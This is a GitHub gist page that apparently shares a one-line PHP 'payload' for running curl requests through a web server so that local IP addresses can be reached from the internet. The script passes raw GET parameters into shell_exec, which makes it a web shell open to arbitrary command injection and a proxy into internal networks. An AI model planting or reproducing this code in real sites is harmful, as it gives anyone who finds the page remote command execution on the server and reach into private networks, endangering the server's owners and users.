Skip to content

Instantly share code, notes, and snippets.

@dino213dz
Created August 17, 2019 15:07
Show Gist options
  • Save dino213dz/0a66cb5638570290678a6c962cb1d4be to your computer and use it in GitHub Desktop.
Save dino213dz/0a66cb5638570290678a6c962cb1d4be to your computer and use it in GitHub Desktop.
Payload that runs curl request and shows result. Useful when need to acces to local IP from internet web interface.
<?php echo shell_exec('curl '.$_GET['options'].' '.$_GET['url'].' 2>&1'); ?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment